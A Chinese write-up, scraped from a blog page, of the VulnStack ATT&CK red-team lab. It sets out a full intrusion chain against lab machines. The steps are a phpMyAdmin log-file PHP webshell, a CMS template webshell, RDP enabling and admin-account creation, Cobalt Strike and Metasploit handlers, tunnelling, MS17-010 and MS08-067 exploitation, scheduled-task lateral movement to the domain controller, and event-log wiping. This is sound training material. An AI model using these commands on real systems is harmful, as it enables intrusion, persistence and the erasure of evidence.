VulnStack - ATT&CK红队评估实战(一) Writeup

VulnStack(一)环境搭建

  • 项目地址

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

  • 网络拓扑

环境说明

下载回来有三个虚拟机(虚拟机所有统一密码:hongrisec@2019):

  • VM1: vulnstack-win7

  • VM2: vulnstack-Win2K3 Metasploitable

  • VM3: vulnstack-winserver08

  • 物理机 192.168.111.1

  • kali 192.168.111.129

WP、漏洞讲解

官方WP:https://www.zrools.org/2020/03/09/VulnStack-ATT-CK红队评估实战-一-Writeup/

优秀WP:https://blog.csdn.net/weixin_54902210/article/details/124329382

最初的已知条件

已知一个目标IP为192.168.111.128

拿下DMZ-Windows7(192.168.111.128)

1、端口扫描 & Web目录扫描

nmap 192.168.111.128
nmap -A -T4 192.168.111.128 御剑1.5
dirb http://192.168.111.128
dirsearch -u "http://192.168.111.128/" -e *
python dirmap.py -i http://192.168.111.128/ -lcf
dirmap =>
[200][application/x-rar-compressed][3.00mb] http://192.168.111.128/beifen.rar
[200][text/html][70.42kb] http://192.168.111.128/phpinfo.php
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpMyadmin/
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpMyAdmin/
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpmyadmin/
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpmyAdmin/
[200][text/html; charset=utf-8][14.39kb] http://192.168.111.128//l.php

2、phpMyAdmin GetShell【法一】

拓展思路:phpmyadmin写shell的几种方法

http://192.168.111.128/phpMyAdmin/

set global general_log='on';
SET global general_log_file='C:/phpStudy/WWW/shell.php'
select '<?php @eval($_POST['pwd']);?>';

3、CMS后台GetShell【法二】

接着再看一下beifen.rar这个文件,下载解压后是个yxcms文件夹,访问yxcms目录正是站点,直奔后台:

http://192.168.54.3/yxcms/index.php?r=admin/index/login

尝试admin/123456弱口令登录成功,然后在模板文件管理直接写Shell就可以了(在[全局设置->前台模板]中有很多php文件,随便找一个写入一句话木马):[index_index.php => index.php]

参考文章:https://www.cnblogs.com/yujin2020/p/14310839.html

4、通过蚁剑实现Windows远程连接

不做也ok

远程开启3389
1、查看3389开放情况 netstat -ano
2、开启3389端口(服务)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3、添加管理员组用户 或者 使用管理员账户
①添加管理员组用户
net user xxx Admin@123/add
net localgroup Administrators xxx /add
或者
②使用管理员账户
修改密码
net user administrator Admin@123
激活用户
net user administrator /active:yes 其他操作:
rundll32.exe user32.dll,LockWorkStation 锁屏
query user 查询登录
logoff ID 下载

5、CS上线

cs开启服务端、客户端、设置监听器、制作Windows木马,通过蚁剑上传木马,蚁剑运行木马,cs成功上线

右键会话 -> sheep 1

DMZ-Windows7内网信息收集

1、Ladon911 一键信息收集

蚁剑上传Laon.exe

shell Ladon.exe 192.168.111.128 PortScan
shell Ladon.exe 192.168.52.0/24 PortScan

cs探测192.168.111.128

cs探测192.168.52.0/24

内网主机有445端口,且为Windows主机 => 可以尝试永恒之蓝漏洞是否可以利用

shell Ladon.exe 192.168.111.128 OsScan
shell Ladon.exe 192.168.52.0/24 OsScan

192.168.52.141是台Win2003,开了445端口,尝试拿MS08-067打。

2、CS信息收集

shell whoami
shell ipconfig /all
shell route print
shell arp -a
shell ping 192.168.52.141 内网信息收集获取关键信息:
查询操作系统和版本信息 systeminfo
机器名 hostname
当前用户 whoami
本地管理员 STU1/administrator
GOD/administrator
查看用户 net user
查看共享信息 net share

3、CS派生MSF生成SHELL控制内网(msf与CS联动)

1、msf创建监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.111.129
set lport 9999
exploit

2、在CS上添加监听器

3、传递会话

右键目标 => 增加会话 => 选择msf监听器

4、搭建隧道进内网(192.168.52.0/24)

实现:cs开隧道,msf链接隧道进内网

cs右键目标 => 中转 => SOCKS Server(设置端口)

cs最上面视图 => 代理信息(可看到cs开放代理情况) => 下边点击Tunnel => 复制msf代理情况 => 粘贴到msf进行执行

内网渗透(192.168.52.141)

前提:cs开隧道,msf链接隧道进内网

1、由445端口尝试永恒之蓝

探测是否存在漏洞(一遍运行不成功就运行第二遍 => 可能存在防火墙的原因)

前面扫描端口开着445,验证有MS17-010漏洞,尝试拿exploit/windows/smb/ms17_010_eternalbluewindows/x64/meterpreter/bind_tcp直接打192.168.52.141,很耗时,而且session很大概率直接就died了。拿exploit/windows/smb/ms17_010_psexec出现了Exploit completed, but no session was created.,没有session。

2、使用ms17_010_command拿下内网主机【法一】

尝试ms17_010_command关闭系统防火墙

msf6 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.141
msf6 auxiliary(admin/smb/ms17_010_command) > set command "netsh advfirewall set allprofiles state off"
msf6 auxiliary(admin/smb/ms17_010_command) > exploit

使用ms17_010_command拿下域内主机192.168.52.141

msf6 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.141
msf6 auxiliary(admin/smb/ms17_010_command) > set command "ipconfig /all"
msf6 auxiliary(admin/smb/ms17_010_command) > exploit

3、MS08-067搭配Bind TCP拿下内网主机【法二】

首先添加路由,使用Web服务器作为跳板访问Win2003

meterpreter > run autoroute -s 192.168.52.0/24
meterpreter > run autoroute -p

Bind TCP

接着MS08-067搭配Bind TCP使用:

meterpreter > background
msf6 exploit(multi/handler) > use exploit/windows/smb/ms08_067_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.52.141
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

正常来说应该是可以滴,估计是环境问题罢了。

内网横向移动(拿下域控192.168.52.138)

域内信息收集
当前用户必须是域用户,而不是本地用户(除过本地的system用户)
1、 whoami 查询当前用户
2、 net user /domain 查询域内又几个用户(只能是域用户才有权限查询)
3、 net group "domain computers" /domain 查询域中的计算机名字
4、 net group "Domain Controllers" /domain 查询域控的名字
5、 nslookup -type=SRV _ldap._tcp 查询域控

1、抓取域内主机用户密码

2、域内主机通过ipc连接上域控

shell net use \\192.168.52.138\ipc$ "hongrisec@2019" /user:god\administrator

3、上传隧道马(s)

①先手动上传木马到拿下的dmz区域的域内主机

②使用ipc,将域内主机的木马文件复制进域控上

shell copy beacon.exe \\192.168.52.138\c$

4、通过计划任务运行木马【法一】

优点:直接忽略防火墙

shell schtasks /create /s 192.168.52.138 /tn test /sc onstart /tr c:\beacon.exe /ru system /f
shell schtasks /run /s 192.168.52.138 /i /tn "test"
link 192.168.56.138

成功拿下域控

5、利用哈希传递(PTH)一键上线不出网机器【法二】

优点:直接忽略防火墙

cs左上角点击Cobalt Strike => 可视化 => 目标列表 => 选择要上线设备(192.168.52.135) => 点击Jump => 选择psexec64 => 其余设置结果如下:

参考文章:https://www.cnblogs.com/sunny11/p/14301425.html

6、利于MS17-010拿下域控【法三】

前面扫描端口开着445,验证有MS17-010漏洞,尝试拿exploit/windows/smb/ms17_010_eternalbluewindows/x64/meterpreter/bind_tcp直接打192.168.72.102,很耗时,而且session很大概率直接就died了。拿exploit/windows/smb/ms17_010_psexec出现了Exploit completed, but no session was created.,没有session。

  • 系统防火墙

估计是被防火墙干掉了,尝试用ms17_010_command先关掉它:

msf6 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.138
msf6 auxiliary(admin/smb/ms17_010_command) > set command "netsh advfirewall set allprofiles state off"
msf6 auxiliary(admin/smb/ms17_010_command) > exploit

  • MS17-010 和 Bind TCP

接着再拿ms17_010_psexecbind_tcp打一次:

msf6 exploit(windows/smb/ms17_010_psexec) > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.52.138
msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

成功反弹获取session,拿下域控!

清理痕迹

  • 删除添加的域管理账号(这里没有添加);
  • 删除服务器上渗透上传的工具;
  • 删除应用程序、系统和安全日志;
meterpreter > clearev
[*] Wiping 1474 records from Application...
[*] Wiping 4836 records from System...
[*] Wiping 41363 records from Security...
  • 断开MSF等连接;
  • 其他。

总结

这次的靶机环境比较简单,只是用MSF配合一些小工具使用,归纳下前面的漏洞利用:

  • phpMyAdmin弱口令配合探针信息(WWW绝对路径)日志写Shell;
  • CMS后台弱口令配合后台模板管理写Shell;
  • 备份文件文件泄漏数据库配置和CMS源码等信息;
  • 内网主机未打补丁,可以直接远程获取系统权限(MS08-067、MS17-010)。

主机上还有些其他的服务,比如FTPWeblogicLDAP等可能存在漏洞,信息收集可以看看浏览器有没有保存密码什么的,mimikatz抓不到明文看看是不是64位机子加载到32位版本了,payload打过去异常可以换一个试试或者看看是不是防火墙的影响什么的,总之,没有一成不变的办法,遇到问题还要多分析。

靶场描述

基本信息
作 者: hongri
创建时间: 2019年10月20日 14:05
标 签: 内网渗透 | Kill Chain | 域渗透 | 威胁情报 描述
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:
一、环境搭建
1.环境搭建测试
2.信息收集 二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集 三、内网搜集
7.内网--继续信息收集
8.内网攻击姿势--信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞 四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权 五、构建通道
18.内网其它主机端口-代理转发 六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用 七、痕迹清理
25、日志清理 文件
ATT&CK红队评估实战靶场
文件大小: 13 GB
文件MD5: e16fd0f6a5104aef0dfa73460afff0e8
文件SHA1: 078ce02d01298fe40a1feb8260fde79d5fb06bc6
下载地址:

VulnStack - ATT&CK红队评估实战(一) Writeup的更多相关文章

  1. ATT&CK红队评估实战靶场(一)

    靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 攻击拓扑如下 0x01环境搭建 配置两卡,仅主机模式192.168.52.0网段模拟内 ...

  2. ATK&CK红队评估实战靶场 (一)的搭建和模拟攻击过程全过程

    介绍及环境搭建 靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2 官方靶机说明: 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练 ...

  3. 靶机练习 - ATT&CK红队实战靶场 - 1. 环境搭建和漏洞利用

    最近某个公众号介绍了网上的一套环境,这个环境是多个Windows靶机组成的,涉及到内网渗透,正好Windows和内网渗透一直没怎么接触过,所以拿来学习下. 下载地址:http://vulnstack. ...

  4. vulstack红队评估(五)

    一.环境搭建: ①根据作者公开的靶机信息整理 虚拟机密码: Win7: heart 123.com    #本地管理员用户 sun\Administrator dc123.com    #域管用户,改 ...

  5. vulstack红队评估(四)

    一.环境搭建: ①根据作者公开的靶机信息整理 虚拟机密码: ubuntu: ubuntu:ubuntu   win7: douser:Dotest123   Win2008 DC: administr ...

  6. vulstack红队评估(三)

    一.环境搭建: ①根据作者公开的靶机信息整理 没有虚拟机密码,纯黑盒测试...一共是5台机器,目标是拿下域控获取flag文件   ②虚拟机网卡设置 centos双网卡模拟内外网: 外网:192.168 ...

  7. vulstack红队评估(二)

    一.环境搭建: 1.根据作者公开的靶机信息整理: 靶场统一登录密码:1qaz@WSX     2.网络环境配置: ①Win2008双网卡模拟内外网: 外网:192.168.1.80,桥接模式与物理机相 ...

  8. vulstack红队评估(一)

    一.环境搭建: 1.根据作者公开的靶机信息整理: 虚拟机初始所有统一密码:hongrisec@2019   因为登陆前要修改密码,改为了panda666...   2.虚拟网卡网络配置: ①Win7双 ...

  9. ATT&CK实战系列 红队实战(一)————环境搭建

    首先感谢红日安全团队分享的靶机实战环境.红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习. 靶机下载地址:http://vulnstack.qiyuanxue ...

  10. ATT&CK 实战 - 红日安全 vulnstack (一) 环境部署

    靶场描述: 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习.另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环.后续也会搭建真实APT实 ...

随机推荐

  1. MyBatis 在大数据量下使用流式查询进行数据同步

    通常的数据同步中,如果数据量比较少的话可以直接全量同步,默认情况下,完整的检索结果集会将其存储在内存中.在大多数情况下,这是最有效的操作方式,并且由于 MySQL 网络协议的设计,因此更易于实现.但是 ...

  2. 小程序使用wx.navigateTo无法跳转到加了tabBar的页面

    随着小程序的不断更新,发现目前的小程序版本使用navigator无法跳转到加了tabBar的页面:后来使用redirectTo进行跳转也不行:在刚开始也是纠结了好久一直找不到解决办法.最后从官方文档中 ...

  3. 如何开启Apache SkyWalking的自监控?

    1. 开启Prometheus遥测数据 默认情况下, 遥测功能(telemetry)是关闭的(selector 为 none),像这样: telemetry: selector: ${SW_TELEM ...

  4. 图灵丛书——GitHub入门

    这是一篇关于我个人学习 GitHub 的笔记,主要是记录一些我认为比较重要的知识点,以及一些我认为比较好的学习资料. 学习书籍:GitHub 入门与实践(图灵程序设计丛书) 这本书的目录是这样的 第 ...

  5. 「Python实用秘技14」快速优化Python导包顺序

    本文完整示例代码及文件已上传至我的Github仓库https://github.com/CNFeffery/PythonPracticalSkills 这是我的系列文章「Python实用秘技」的第14 ...

  6. php发起支付加密数据供获取订单状态使用

    <?php//作者主页: https://www.bz80.comnamespace Index\Controller; class PayController extends BaseCont ...

  7. GGTalk 开源即时通讯系统源码剖析之:服务端全局缓存

    继上篇<GGTalk 开源即时通讯系统源码剖析之:数据库设计>介绍了 GGTalk 数据库中所有表的结构后,接下来我们将进入GGTalk服务端的核心部分. GGTalk 对需要频繁查询数据 ...

  8. Unity的Undo:详解解析与实用案例

    Unity Undo详解 在Unity中,Undo是一个非常重要的功能,它可以让开发者在编辑器中进行操作时,随时撤销之前的操作,从而避免不必要的错误.本文将详细介绍Unity Undo实现原理和使用方 ...

  9. Android 自定义view中根据状态修改drawable图片

    原文地址:Android 自定义view中根据状态修改drawable图片 - Stars-One的杂货小窝 本文涉及知识点: Android里的selector图片使用 底部导航栏的使用 自定义vi ...

  10. TiDB简述及TiKV的数据结构与存储

    1 概述 TiDB 是 PingCAP 公司自主设计.研发的开源分布式关系型数据库,是一款同时支持在线事务处理与在线分析处理 (Hybrid Transactional and Analytical ...